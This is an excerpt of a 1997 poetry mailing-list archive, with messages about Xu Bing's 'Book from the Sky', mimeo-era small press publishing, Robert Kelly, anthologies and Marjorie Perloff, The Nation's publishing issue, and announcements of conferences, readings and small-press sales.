... Xu Bing, who now lives (mostly) in NYC and has exhibited widely in the States, notably at the Elvehjem Museum of Art, University of Wisconsin-Madison in 1992, when he showed 'Book from the Sky'. I used characters from this book on the cover of the anthology of contemporary Chinese writing which I (Wellsweep) published in 1994, _Under-Sky Underground_. The following is the caption I wrote for the frontispiece of that book:

- "The cover artwork and the above illustration incorporate pages from Xu Bing's _Tian Shu_ or 'Book from the Sky'. This work, comprising a limited

edition of a four volume, traditionally bound Chinese book in the style of a bibliographic rarity, was first exhibited in Beijing during October 1988 where it caused a sensation. Xu, a printmaker specializing in woodcuts, had carved the printing blocks for the books himself, entirely of 'characters' which are not found in any Chinese dictionary. His characters look as if they should be legible to someone who reads Chinese - they contain familiar strokes and components - but they are not. Neither is this a Chinese _Finnegans Wake_ - although the *visual* effect of the text is comparable - there are no construable segments of meaningful language. However, the material cultural forms of the Chinese literary and scholarly tradition are strictly, even lovingly, observed: a striking paradox and eloquent contribution to the continuing debate which rages amongst Chinese intellectuals concerning their relationship with their own tradition." - ? as well as a very interesting piece of applied grammatology.

- Xu Bing's latest project is a set of books describing his so-called 'Square Writing'. This is a method he has devised for writing English words in rectangular arrangements which resemble Chinese characters. There is a code of calligraphic script elements which map to the 26 roman letters, then relatively simple rules for the construction of the square words allow you to write English using Chinese calligraphic principles. As a piece of conceptual ?grammatological art, Xu Bing has composed and published a manual of 'Chinese calligraphy' entirely in these English 'square words' (it looks like a Chinese book, but once the code is learned it is perfectly legible as English) along with a companion volume of calligraphic models for (ink and brush) writing practice. (Books of this type are familiar and common in Chinese educational contexts.)

- > John Cayley / Wellsweep Press
http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road
London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < -

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204. Stephen Vincent
Re: mimeo
Sun 9 Mar 1997

One more miss: Blue Suede Shoes edited by Keith Abbot. Wonderful covers, not afeared of humor, etc. Went through about 20 issues with enough variant numbers to keep collectors/libraries jumping for years. I sometimes suspect that keeping a two page issue in an editon of say five of anything (book or mag) is the small press publishers illusion of a pension fund.

One more techno item not mentioned. My memory of one definition of sixtie's terror was the elecrtric stapler with the three quarter or one inch staples.

(These staplers usually had to found stationary in a printers shop - I forget if the "guns" had been invented yet) The huge seeming machine slam of the staples going through a half inch of stacked paper - and the question of whether or not your fingers might be included in the binding - I always found just plain scary as well as at odds with the contents of what I was publishing. But who said culture isn't built on violence!

↑ Index

205. Aldon L. Nielsen
Conference on Whiteness (fwd)
Sun 9 Mar 1997

---

for any in the Bay area who are interested -- It's free --

---------- Forwarded message ----------
Date: Sat, 8 Mar 1997 11:03:29 -0800 (PST)
From: Helen Cavender <[redacted]>
To: "Aldon L. Nielsen" <[redacted]>
Subject: Conference on Whiteness (fwd)
>---------- Forwarded message ----------
>
>PLEASE POST WIDELY!! PLEASE POST WIDELY!! PLEASE POST WIDELY!!
>
>The UC Berkeley Department of Comparative Ethnic Studies is pleased to
>announce a conference:
>
>WHAT:The Making and Unmaking of Whiteness
>WHEN: April 11-13, 1997
>WHERE: Lipman Room, 8th floor Barrows Hall, UCB Campus.
>
>THE CONFERENCE IS FREE AND OPEN TO THE PUBLIC!!
>
>Participants include: Norma Alarcon, Allan Berube, Roxanne Dunbar-Ortiz,
>Troy Duster, Michelle Fine, Shelley Fisher Fishkin, Neil Foley (pending),
>Ruth Frankenberg, Cheryl Harris, John Hartigan, Jr., Saidiya Hartman,
>Patricia Penn Hilden, Mike Hill, Aida Hurtado, Noel Ignatiev, Caren Kaplan,
>Josh Kun, Eric Lott, Steve Martinot, Cameron McCarthy, Walter Benn
>Michaels, Annalee Newitz, Michael Omi, Sam Otter, Fred Pfeil, John Powell,
>Jasbir Puar, David Roediger, Michael Rogin, Jose Saldivar, Alexander
>Saxton, Mab Segrest, Richard Walker, David Wellman, Lois Weis, Howard
>Winant, and Yvonne Yarbro-Bejarano.
>
>For more information, see details below, or visit our website:

>
>http://violet.berkeley.edu/~ethnicst/conference/main.html
>
>or email us at: [redacted]
>
>**********
>**********
>CONFERENCE DESCRIPTION:
>
>As a recent articles in _American Quarterly_ and the _Chronicle of
>Higher Education_ explain, there is a growing group of scholars who are
>working in a new field: the study of whiteness. This field has expanded
>over the past decade in part as a result of suggestions by intellectuals
>like Toni Morrison, who have long suggested that race studies must include
>a critical, self-reflexive body of work about whites
>which is both anti-racist and progressive. Thus, the study of whiteness is
>both comparative, in that whiteness is understood as one specific race
>among others, and critical, in that whiteness is generally viewed as a
>socially-constructed identity which has historically helped to perpetuate
>social inequalities. Scholars of whiteness represent a very diverse range
>of disciplines. Sociologists, historians, anthropologists, as well as
>practitioners of ethnic, legal, cultural, and literary studies, are
>bringing interdisciplinary methodologies and critical concerns to the study
>of whiteness. Additionally, many anti-racist activists have spoken to
>issues around whiteness as they appear in community organizing, coalition
>building, and other forms of political movement.
>
>Our chief goal is to promote dialogue among scholars of whiteness across
>the disciplines and throughout the UC system. Although scholars in the
>field read and comment upon each other's work, there has not yet been an
>opportunity for the kind of discussions and networking that a full- scale
>conference permits. This conference is the first of its kind.
>Rigorously interdisciplinary,"The Making and Unmaking of Whiteness"
>features presentations, works-in-progress, and respondents at the graduate
>and professorial level. We have chosen a conference format which will be
>conducive to discussion among participants. Audience members will be
>encouraged to ask questions and given ample time and space to do so.
>_____
>TENTATIVE CONFERENCE SCHEDULE
>
>Friday, April 11
>

>9:00am Welcome Address: Michael Omi & Jose David Saldivar
>
>9:30am-12:00pm Panel 1
>
>Shelley Fisher Fishkin (moderator)
>
>Josh Kun: "The Yiddish are Coming!": Mickey Katz and American Whiteness"
>
>Eric Lott: "Race Traitor, Patriot, Iceman, Pig: The New Discourses of Whiteness"
>
>Annalee Newitz: "On the Whiteness of the Police"
>
>Fred Pfeil: "The Not-So-Great White Way: Some Lessons from the Fantasies of
>the American Gulag"
>
>12:00-1:30pm Lunch
>
>1:30-4:00pm Panel 2
>
>Evelyn Nakano Glenn (moderator, pending)
>
>Michelle Fine: "'You're Stealing My Soul!': Preserving Whiteness as Quality
>in a Public High School"
>
>Cameron McCarthy: "Reading the American Popular: Suburban Resentment and
>the Representation of the Inner-City in Contemporary Film and Television"
>
>Lois Weis: "Re-examining 'A Moment in History': Loss of Privilege Inside
>White Working Class Masculinity in the 1990s"
>
>Aida Hurtado: (abstract pending)
>
>4:30-7:00pm Panel 3
>
>Norma Alarcon (moderator)
>
>John Hartigan: "Establishing the Fact of Whiteness"
>
>Walter Benn Michaels: "Whiteness as Social Construct?"
>

>Mike Hill: "After Whiteness Studies"
>
>Cheryl Harris: "Deconstruction and Anti-Essentialism in Legal Discourse:
>Reconstructing Whiteness"
>
>Saturday, April 12
>
>9:00-11:30am Panel 1
>
>Patricia Penn Hilden (moderator)
>
>Neil Foley: (pending)
>
>Howard Winant: "White Racial Projects: A Comparative Perspective"
>
>Caren Kaplan: "Whiteness in a Transnational Frame: Commodity Feminism in
a
>Era of Globalization"
>
>Ruth Frankenberg: "Locating Research on Whiteness"
>
>12:00-1:00pm Lunch
>
>1:30-4:00pm Panel 2
>
>Saidiya Hartman (moderator)
>
>Jasbir Puar: "Transnational Configurations of Desire: The Nation and its
>White Closets"
>
>Allan Berube: "How Gay Stays White"
>
>John Powell: "The Fluidity of the Self and the Stability of Race"
>
>Yvonne Yarbro-Bejarano: "Whiteness in the Last Generation: The
>'Half-Breed,' the Queer, and the Nation"
>
>
>4:30-7:00pm Panel 3
>
>Michael Rogin (moderator)
>

>Noel Ignatiev: "The New Abolitionism"
>
>Mab Segrest: "The Souls of White Folks"
>
>David Roediger: "Studying Whiteness: An African American Tradition"
>
>David Wellman: "Whiteness as a Site of Contestation"
>
>Sunday, April 13
>
>
>9:00-11:30am Panel 1
>
>Richard Walker (moderator)
>
>Roxanne Dunbar-Ortiz: "The Proof of Whiteness: More Than Skin Color"
>
>Steve Martinot: "Racialized Whiteness: Its Meaning, History, and Politics"
>
>Samuel Otter: "White Jackets"
>
>
>
>Alexander Saxton: "The Dance Macabre of Universalism, White Racism, and
>Nationalism"
>
>
>11:30-1:00pm Bag Lunch and Closing Remarks: Troy Duster
>
>_____
>CONFERENCE ORGANIZERS
>
>Eric Klinenberg
>Irene Nexica
>Pamela Perry
>Birgit Rasmussen
>Kellie Stoddart
>Jillian Sandell
>Matt Wray
>
>Faculty Sponsors:
>

>Michael Omi
>Jose David Saldivar
>
>_____
>SPONSORS
>
> The Conference is sponsored by: the University of California Humanities
>Research Institute, the Department of Comparative Ethnic Studies, Office
>of the Dean of Social Sciences, Berkeley Graduate Assembly, Doreen B.
>Townsend Center for the Humanities, Beatrice Bain Research Group, Critical
>Studies in Whiteness Working Group, and the UC Berkeley Departments of
>African American Studies, American Cultures Program, American Studies
>Program, Anthropology, Comparative Literature, and Geography.
>
>
>==========
>
>
>
Melissa S.K. Ponder
[redacted]
[redacted]
NW Center for Equity and Diversity
EDCC
20000 68th Ave. W.
Lynnwood, WA 98036

↑ Index

206. **Toni Simon**
Re: mimeo
Sun 9 Mar 1997

I remember asking Ann Waldman one day while she was stapling copies of The World magazine at St Mark's Church (as most of you probably know the home of The Poetry Project) if she had stapled all those copies with that cheesy little stapler and she said yes, and most of them herself (this was in the early 70's). She showed me the callouses on the heels of her hands, and I was so impressed I went out and bought the church a moderately priced one that probably didn't help that much. This was one of those experiences that taught me how much individuals can have an impact on the world of poetry if they are willing- sometimes literally- to take matters into their own, sometimes aching, hands.

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207. **Toni Simon**
Re: mimeo
Sun 9 Mar 1997

Nick Piombino the author of this message this message not Toni SimonOn Sun, 9 Mar 1997, Toni Simon wrote:

> *I remember asking Ann Waldman one day while she was stapling copies of The World magazine at St Mark's Church (as most of you probably know the home of The Poetry Project) if she had stapled all those copies with that cheesy little stapler and she said yes, and most of them herself (this was in the early 70's). She showed me the callouses on the heels of her hands, and I was so impressed I went out and bought the church a moderately priced one that probably didn't help that much. This was one of those experiences that taught me how much individuals can have an impact on the world of poetry if they are willing- sometimes literally- to take matters into their own, sometimes aching, hands.*

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208. **Thomas M. Orange**
robt kelly
Mon 10 Mar 1997

looking for advice on whether i should pick up a used copy of "the loom" (1975) in a used bookstore here. makes a nice intro into his work does it? better suggestions on volumes to start with? i'm familiar only with the stuff he included in his "controversy of poets" anthology. any decent critical overviews of his work? was fairly active in publishing journals and small presses, incl. some of zukofsky's stuff i understand.

any and all enlightenment appreciated.

tom.

↑ Index

209. **KENT JOHNSON**
creiner&asteroid
Mon 10 Mar 1997

I've been trying to contact Chris Reiner at [redacted] re: an article that's to appear in Witz, but keep getting it bounced back. Can anyone tell me if I have something wrong with the address? Plese backcahnnel if so and thanks.

It's pleasing that my initial post on the coming asteroid caused so many posts in return! That a first remark on impending, irrevocable catastrophe would refine itself after 40 or so posts into commentaries on a Chinese poet who composes in ethereal, invented characters seems fitting and beautiful, even if I can't say exactly why.

The universe imperceptibly corrects itself every so often without reason or warning. Nothing millenial about it.

Kent

↑ Index

210. Daniel Bouchard/College/hmco
Re: Special Issue of THE NATION on Publishing
Mon 10 Mar 1997

Burt,

I feel I've pissed you off somehow with my comment on the Miller article. Not my intention.

Still, I don't feel any differently about my post. I called Miller's article it a mediocre rant which is not trashing it so much as categorizing it. I did read the other articles, but like to keep my posts to the list brief.

I also follow this subject with great interest. I've learned a lot from reading Michael Parenti, Edward Herman, Ben Bagdikian, Solomon & Cohen of FAIR, etc. Miller's article, for me, illustrated previously made points with fresh examples. As for the world of small presses that we know, Miller seems unaware of its existence.

[redacted]

↑ Index

211. Pierre Joris
Re: perloff on anthologies
Mon 10 Mar 1997

P.Standard Schaefer wrote:
>
> Henry Gould:
>
> A refreshingly honest point of view on the snobbery/prestige issue. Tell me
> what you think of

> *the Rothenberg/Norton Anthology*

vass dat?

> *though? I think it its*
> *important to set your "school" up against the traditions from which it draws,*
> *an avant garde tradition let's say. Doesn't the problem you outline make a*
> *strong case for increasing student's sense of history in regards to poetry?*
> *I guess I found your comment about the naivete of the poet a little*
> *flippant, but perhaps you did not intend it to be so.*
>
> *Standard Schaefer*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

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212. Christopher Alexander
Re: is silence golden?
Mon 10 Mar 1997

> *what do people think about the message on umass amherst*
> *occupation -- is it for real? is it a necessary stand?*

well, is it for real is one thing. there are at least a few
(what is it) bostonians out there listening - any word?
i forwarded to some folks who oughtta know, but may
not hear back for awhile.

took the precaution of writing a short letter of support. even if the event isnt for real, the demands are; in other words, this could be designed as a sort of terrorist attack & not a prank - possibly safer if less publically effective than the seizure of a university office. so id be glad to lend my support to that effort, too.

is it a necessary stand? well, the demands seem reasonable,
though i would like to see a more detailed report on the

situation surrounding their formulation. as to the means by which they were/are(?)/may be made, well, people dont usually take over offices & issue demands without some kind of provocation. i take it that the action itself indicates a climate of unrest & frustration, though of course only an account of the sequence of actual events could really legitimate that judgement.

so i guess no way to evaluate those claims from here at the moment.

chris

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be lost. if problem persists, consult your systems operator.

↑ Index

213. Christina Fairbank Chirot

Re: robt kelly

Mon 10 Mar 1997

Tom:

Yes--pick up "The Loom"--quite a weave as they say--

There's an excellent essay on "The Loom" by Edward Schelb in Sulfur 36. (Schelb also has a good review of Irby collection in that issue.)

On Mon, 10 Mar 1997, Thomas M. Orange wrote:

> *looking for advice on whether i should pick up a used copy of "the loom" (1975) in a used bookstore here. makes a nice intro into his work does it? better suggestions on volumes to start with? i'm familiar only with the stuff he included in his "controversy of poets" anthology. any decent critical overviews of his work? was fairly active in publishing journals and small presses, incl. some of zukofsky's stuff i understand.*
>
> *any and all enlightenment appreciated.*
>
> *tom.*

↑ Index

214. **Burt Kimmelman**
Re: Special Issue of THE NATION on Publishing
Mon 10 Mar 1997

Daniel,

No you didn't piss me off but I was looking for some clarification and maybe expansion. Anyway, I bow to your deeper knowledge of this subject. If you have the energy and time, I'd love to have a bibliog from you about this (back channel, hard copy, or maybe others on the list would welcome the same).

Warm wishes,

Burt

↑ Index

215. **main**
Re: robt kelly
Mon 10 Mar 1997

---

loom, yes.
a road map: _red actions: selected poems, 1960-1993_ (black sparrow).
on earlier kelly, see edward schelb's "'witness cycladic afrodita':
alchemy and the gateway to the tower" in _sulfur_ 36 (sp 95).
interesting interview of kelly by morrow in _conjunctions_, but can't
recall #.
best,
dan featherston

↑ Index

216. **Henry Gould**
perloff on anthologies
Mon 10 Mar 1997

Hi everyone I'm back in digestible form, quiet & reserved, after a few long weeks (days?) of lenten fasting. Re: asteroids - not to worry. I have engaged in lengthy negotiations while I was away with the Space Commissariat division of the Girl Scouts of America. They have developed a new cookie, called the Biosphere Sponge, which both earthlings and asteroids will be able to share and enjoy in a multi- orbital, nondisruptive environment.

Have read M. Perloff's smart critique of toast-mod anthologies (_Who's New American Poetry_, diacritics f/w 1996). I guess it's probably already been chewed over here. Love the way she juxtaposes a Levertov with an Ammons poem to highlight the vagaries of us/them groupings. She points out how the

fin-de-siecle non-consensus on what exactly is good poetry leads to both balkanization and pseudo-balkanization - and that they are the SAME THING!! What I'm not sure she succeeds in doing is making a convincing argument that the anthologies she critiques are much different, really, from the yearbook (_Exact Change Yearbook 1995_) she applauds. (None of them include either me or Jack Spandrift, for one thing. That proves it.) Seriously, though, a good guide to all this swimming mass of live fish poetry schools and groups is a prose writer: Proust. An anthology is a kind of crystallization of two kinds of Proustian illusion: the false "prestige" of literature and the snobbery of social groups. America is big and rich enough to contain 3 or 4 levels of insiders and outsiders - each with their own intricate techniques of apprenticeship, acceptance, back-scratching, membership, publication, and credentialism. What holds them all together is self-interest and snobbery. What redeems them is each writer's naive love for a certain style or approach to writing (regional, experimental, traditional in variegated ways). But the snobbery and the prestige are the same, across the board. (Paradoxically, in a survey conducted by Nordstrom Brothers, Jack Spandrift (samisdat) was by far the most popular poet among high school students in Wingdim, Wyo. They're all wearing "Spandrift spurs" on the backs of their necks.)

Little poets swim through the anthology-schools, but nothing substitutes for a lifetime, as Josephine Cliche wrote. It would be worthwhile looking for an approach to poetry which is conceptually deep enough to stretch beyond the borders of visual-surreal, rebel-young-fun, imagist-epical-engage, no-rhyme-anti-establishment-ha-ha, etc. It would be worthwhile looking for the individualist poet (the joke's on you, Club Poesie) like Jack Spandrift, who refuses to be included in ANY anthology, on principle. (Norton begged him for his sequence, "Dream of the Cube Steak" - without success.) - Henry Gould (Henry's new CD, "Why I am Not a Poet", is available from Providence School Fish & Aquarium Supplies, PO Box U-2, Prov RI 0299999. Send fish food only - barter economy in place)

p.s. when a critic at a poetry conference in Russia called poet Ivan Zhdanov "the first Russian postmodernist", Zhdanov broke a plate over his head. What say, Mandel?

↑ Index

217. Christopher Alexander
Re: mimeo revolution
Mon 10 Mar 1997

Ive really been enjoying this thread,
having not been around for most of

but I also want to put in with Loss on
> a mimeo-revolution which, publishing history has shown, was not so much tied

> to a particular type of machine but to a sense of how to make writing circulat e.
if it wasnt for photocopy, none of my
own work would have appeared in
print to date, & the same goes for

many poets I know. not self-promotion
but I think some of the best work
Ive seen circulates almost unseen
in our midst. wasnt going to say

anything about it until the project
was further along but Ive been working
clandestinely on a web site which
will be devoted mostly to the circulation

of self-published works & presses too
small to appear in SPD etc. the idea is
to make the work public, available for
trade or sale etc. its going to be coupled

with an ezine which will deal mostly
with the publications resident onsite but
really anything else too. what I mostly need
now I guess are people who would be

interested in participating. Ive got some
more work to do on the site but Im fast
approaching the point at which it has to be
opened up to contributors. that means books

etc that people would like to see posted there,
work, short essays, reviews. people are welcome
to come take a look at the site & then email
me with suggestions or material etc. the address is

http://choengmon.lib.utah.edu/~calexand/nonce/index.html
& you can reach me from there (or here). also Id
appreciate it if youd pass this information along to
people you know who publish their own work or

run very small presses or press collectives (like the
recently-announced newly-reconstituted SMALL

PRESS COLLECTIVE).
chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

↑ Index

218. Christopher Alexander
Re: the blushing power
Mon 10 Mar 1997

---

joseph wwroth:
> I missed the early part of this thread: what was the question
no question - daniel registered
his low opinion of the recent
the Nation big bin publ bus.ness.
havent read it yet myself.
chris
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

language code not found. illegal operation error.
this program will shut down, & all unsaved data will be
lost. if problem persists, consult your systems operator.

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219. Joe Safdie
Re: Special Issue of THE NATION on Publishing
Mon 10 Mar 1997

Just a quick note to say that I found the article in question OK (especially when judged in context with the others), but it does suffer from an affliction that plagues a lot of NATION articles -- a kind of "preaching-to-the-converted" laziness, so that one doesn't really know anything new at the end, but already-formed biases and notions get reconfirmed.

But Christopher Hitchens has been spectacular lately; check out his column on Clinton (a month ago now), a masterpiece of invective, and the first two paragraphs of his Mother Theresa column in this issue: it's just politics, of course, but he has what they used to call "high style," and it's very funny.

And David Levi-Strauss, whom some of you might know, has gotten a few reviews published in THE NATION lately, as well, on Michael Palmer's latest book and a book of letters from John Berger to his daughter; the second, especially, I found very fine.

↑ Index

220. P.Standard Schaefer
Re: perloff on anthologies
Mon 10 Mar 1997

Henry Gould:

A refreshingly honest point of view on the snobbery/prestige issue. Tell me what you think of the Rothenberg/Norton Anthology though? I think it its important to set your "school" up against the traditions from which it draws, an avant garde tradition let's say. Doesn't the problem you outline make a strong case for increasing student's sense of history in regards to poetry? I guess I found your comment about the naivete of the poet a little flippant, but perhaps you did not intend it to be so.

Standard Schaefer

↑ Index

221. David Kellogg
Re: perloff on anthologies
Mon 10 Mar 1997

I too found the juxtaposition of Ammons and Levertov in Perloff's essay quite illuminating, though there are differences in vocabulary, stance toward subject, and line break that are not touched upon. There were lots of other wonderful moments in the piece too; as for Exact Change, her claims will be more testable when & if Volume II comes out -- is that going to happen or not?

However, Perloff's discussion of identity politics in that essay (as elsewhere in Majorie's work) I find really quite disturbing. It seems to me that her attitude toward such issues exists in a tense relationship, to put it mildly, with the surface pluralism of the piece. (In this regard it's interesting to find that her piece, for me, confirms some of my criticisms of her work in the same issue of _Diacritics_.)

Anybody else want to juxtapose our respective contributions and see what sparks fly?

Cheers,
David
~~~
~~~

>even if the event isnt for real, the demands are; in other
>words, this could be designed as a sort of terrorist attack
>& not a prank - possibly safer if less publically effective
>than the seizure of a university office. so id be glad to
>lend my support to that effort, too.
>
>is it a necessary stand? well, the demands seem reasonable,
>though i would like to see a more detailed report on the
>situation surrounding their formulation. as to the means by
>which they were/are(?)/may be made, well, people dont
>usually take over offices & issue demands without some
>kind of provocation. i take it that the action itself indicates
>a climate of unrest & frustration, though of course only an
>account of the sequence of actual events could really
>legitimate that judgement.
>
>so i guess no way to evaluate those claims from here
>at the moment.
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>chris
>..
>christopher alexander, etc.
>[redacted]
>(Marriott Library Computer Systems)
>
>language code not found. illegal operation error.
>this program will shut down, & all unsaved data will be
>lost. if problem persists, consult your systems operator.
>
>

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223. **Eliza McGrand- CVA Guest**

Re: perloff on anthologies

Mon 10 Mar 1997

---

your jack spandrift sounds like a compatriot of mine -- missy laPrism. missy has an impressive resume -- she has not been included in the all the most prestigious anthologies around. norton sent flowers for weeks, had them hand-delivered by the handsomest Bright Young Things in the intern department, and even had some Bright Young Females in case they had got her all wrong... and money, i won't even tell you! but missy refused; no, she said, she had to stand

up for her principles. she would not be included. where, after all, would her Rebel Outsider stance, her entire "i am uniquely underappreciated" position be? and think of her career, based as it is on papers about the real inside story of Boheme -- if she were anthologized, she would lose all credibility. she might even lose tenure, based, as it is on her distinguished record of non-publication. no, come what may, missy laPrism will not anthologize... e

↑ Index

224. **amato**
Re: Special Issue of THE NATION on Publishing
Mon 10 Mar 1997

---

those interested in reading the feature story, discussed here, on the web can find it at

http://www.TheNation.com/issue/970317/0317mill.htm

best,

joe

↑ Index

225. **Burt Kimmelman**
Re: Special Issue of THE NATION on Publishing
Mon 10 Mar 1997

I'll agree with Joe Safdie.

Burt

↑ Index

226. **eric pape**
Re: asteroid to hit earth
Mon 10 Mar 1997

Bakker in Dinosaur Heresies proved conclusively not only that dinos were not at all reptilian but in fact were not offed by an asteroid. In fact, multiculturalism did them in. It seems there was suddenly a land bridge between the hemispheres and wham bam all these diseases and unsavory miscengenation extincted them. The lesson here of course is to give all your poetry not to stop stuff from outer stuff but to Bennett's fight against the softening of traditional western culture, pure and uncluttered. Thanks, Eric (ps Bakker did write that).

↑ Index

227. **simon**
19th C Japanese poetics
Mon 10 Mar 1997

From: IPFW::SIMON 10-MAR-1997 17:03:55.60
To: MX%"[redacted]@acsu.buffalo.edu"
CC: SIMON
Subj: 19th C Japanese poetry

Very sorry to run this on the list, but I've lost the name of the sender....

When I queried the list about deixis, would the person who contacted me about 19th C Japanese poetics please contact me again. Thanks!

beth simon

↑ Index

228. **Wystan Curnow**
Re: robt kelly
Mon 10 Mar 1997

Tom,
buy it, i did.
Wystan

↑ Index

229. **KENT JOHNSON**
Re: CD Release Party for Deep Listening Band & Long String
Mon 10 Mar 1997

Dear Herb:

the CD is fantastic! I am aware that I still owe you for it--it's
comeing.
Thanks,

Kent

> *Date sent: Mon, 10 Mar 1997 23:23:34 -0800*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Herb Levy <[redacted]>*
> *Subject: CD Release Party for Deep Listening Band & Long String Instrument*
> *To: [redacted]*
>
> *My new company, Periplum, released it's first CD, Suspended Music by Deep Listening Band & Long String Instrument, earlier this year. It's a really great CD featuring the combined forces of DLB (Stu Dempster, David Gamper & Pauline Oliveros) & Ellen Fullman's Long String Instrument performing*

> *recent long works by Pauline Oliveros and Ellen Fullman. Other discs to be released this year include the 2nd release by the collaborative group Land (Jeff Greinke, Lesli Dalaba, Dennis Rea, et alia); New Songs commissioned by David Mahler & Ann Obery from eleven US composers; and recordings of interactive computer music by Martin Bartlett, including performances by Peter Hannan, George E Lewis, & Frances-Marie Uitti.*
>
> *We had a great CD party in Austin a couple of weeks ago with Ellen, and there are more release parties on the way. Hey, wait, here's some now, near where you live:*
>
> *Friday, March 14, 1997 5-7 pm*
>
> *The Gallery at Deep Listening Space*
> *74 Broadway*
> *Kingston, NY 12401*
>
> *Saturday, March 15, 1997 4-7 pm*
>
> *Roulette*
> *228 West Broadway*
> *New York, NY 10013*
>
> *Sorry for this impersonal bulk mail, I hope to get a chance to talk to you when I'm in your neck of the woods.*
>
> *Bests*
>
> *Herb*
>
> *Herb Levy*
> [redacted]

↑ Index

230. **k.a. hehir**
londonOnt
Mon 10 Mar 1997

---

poeTrypoetRE:poemsRe:poeTry
Wajdi Jenn Bright
Kate Kenwell
Dr. Hugo Alexander of phuc Tom Orange

an evening of verse navigated by Kevin Angelo Hehir

at the always delicious
WHIPPET LOUNGE
Tuesday March 11, 1997 in the Embassy Hotel
732 Dundas St. E
8:30 PM [redacted]

but the white of the snow eats the eyes to the quick
Osip Mandelstam

↑ Index

231. Mark Roberts
Re: creiner&asteroid
Mon 10 Mar 1997

---

cute....a post on giant asteriods keeps bouncing.....
.
.
.

>I've been trying to contact Chris Reiner at [redacted] re:
>an article that's to appear in Witz, but keep getting it bounced
>back. Can anyone tell me if I have something wrong with the
>address? Plese backcahnnel if so and thanks.
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

↑ Index

232. Thomas M. Orange
robt kelly
Tue 11 Mar 1997

---

thanks to stephen, pierre, dave, dan, joe, aldon, and wystan for the advise and guidance with robert kelly. much reading to do now.

cheers,
tom

```
 _____________________________________
| Alle Dinge, an die ich mich gebe |
| werden reich und geben mich aus  |
|            - Rilke -            |
~~~
```

it as a conquering assertation. -- Maurice Blanchot
==========

by sarah.albany.edu (8.8.5/8.8.5) with ESMTP id FAA04914
for <[redacted]>; Tue, 11 Mar 1997 05:04:34 -0500 (EST)
(8.7.x for naga.mailbase.ac.uk); Tue, 11 Mar 1997 09:10:12 GMT
(8.7.x for naga.mailbase.ac.uk) with SMTP; Tue, 11 Mar 1997 09:10:09 GMT
(8.6.12/ for dur.ac.uk) with SMTP; Tue, 11 Mar 1997 08:41:04 GMT
Date: Tue, 11 Mar 1997 08:41:01 +0000 (GMT)
From: R I Caddel <[redacted]>
To: british n irish poets <[redacted]>
Subject: CCCP
to [redacted]

Message from Peter Riley says, Can you put this out on your list thingy, as we're a bit late with publicity this year...

C.C.C.P.

The seventh annual Cambridge Conference of Contemporary Poetry will take place Friday to Sunday April 25th-27th at Kings Colleg Cambridge. For very particular reasons the event this year will emphasise non-British poetry, with poets from Australia (John Tranter, Tracy Ryan), Canada (Karen Mac Cormack, Deanna Ferguson), France (Dominique Grandmont and Emmanuel Hocquard), Belgium (Pierre-Yves Soucy), Sweden (Staffan Soderblum). Also Fiona Templeton, David Chaloner, Grace Lake.

Bookings and information: Ian Patterson, Kings College Cambridge. tel. 01223 576422

Information: Peter Riley, 27 Sturton Street, Cambridge. tel. 01223 576422

----------4447111147FE--

↑ Index

235. Pierre Joris
[Fwd: pig pig offers]
Tue 11 Mar 1997

This is a multi-part message in MIME format.

Can't remember seeing this on the list -- Ric posted it only to the BritPoet list, though it gives US prices too -- excellent little press, go & buy a pig or 2 -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202

tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

by sarah.albany.edu (8.8.5/8.8.5) with ESMTP id JAA20347
for <[redacted]>; Mon, 10 Mar 1997 09:46:07 -0500 (EST)
(8.7.x for naga.mailbase.ac.uk); Mon, 10 Mar 1997 14:31:49 GMT
(8.7.x for naga.mailbase.ac.uk) with SMTP; Mon, 10 Mar 1997 14:31:46 GMT
(8.6.12/ for dur.ac.uk) with SMTP; Mon, 10 Mar 1997 14:31:45 GMT
Date: Mon, 10 Mar 1997 14:31:39 +0000 (GMT)
From: R I Caddel <[redacted]>
To: british n irish poets <[redacted]>
Subject: pig pig offers
to [redacted]

Amazing offers on these Pig titles until after Easter. All prices are in POUNDS STERLING:

Tony Baker : Scrins 5.50
Guy Birchard : Birchard's Garage 5.90
William Corbett : Schedule Rhapsody 2.50
Kelvin Corcoran : TCL 4.00
Robert Creeley : Memories 2.50
George Evans : Nightvision 3.20
Allen Fisher : Stepping Out 5.50
Roy Fisher : It Follows That 2.90
Lee Harwood : Monster Masks 3.90
Alasdair Paterson : The Floating World 3.20
Maurice Scully : The Basic Colours 6.95
Catherine Walsh : Pitch 5.95

UK individuals: 20% off four or more items; post free

UK libraries: 20% off four or more items; post free

US individuals: 20% off four or more items; add a pound per item to cover post, and payment in Sterling only, please (otherwise all titles available through SPD).

Orders to this e-mail address, or by post to: Pig Press, 7 Cross View Terrace, Durham DH1 4JY, quoting "BritPo Offer 1997". Phew.

Richard Caddel
Durham University Library, Stockton Rd., Durham DH1 3LY, UK
E-mail: R.I.Caddel @ durham.ac.uk
Phone: [redacted] Fax: [redacted]
WWW: http://www.dur.ac.uk/~dul0ric

"Words! Pens are too light. Take a chisel to write."
- Basil Bunting

----------1E537FDD7BD9--

↑ Index

236. Herb Levy
CD Release Party for Deep Listening Band & Long String Instrument
Tue 11 Mar 1997

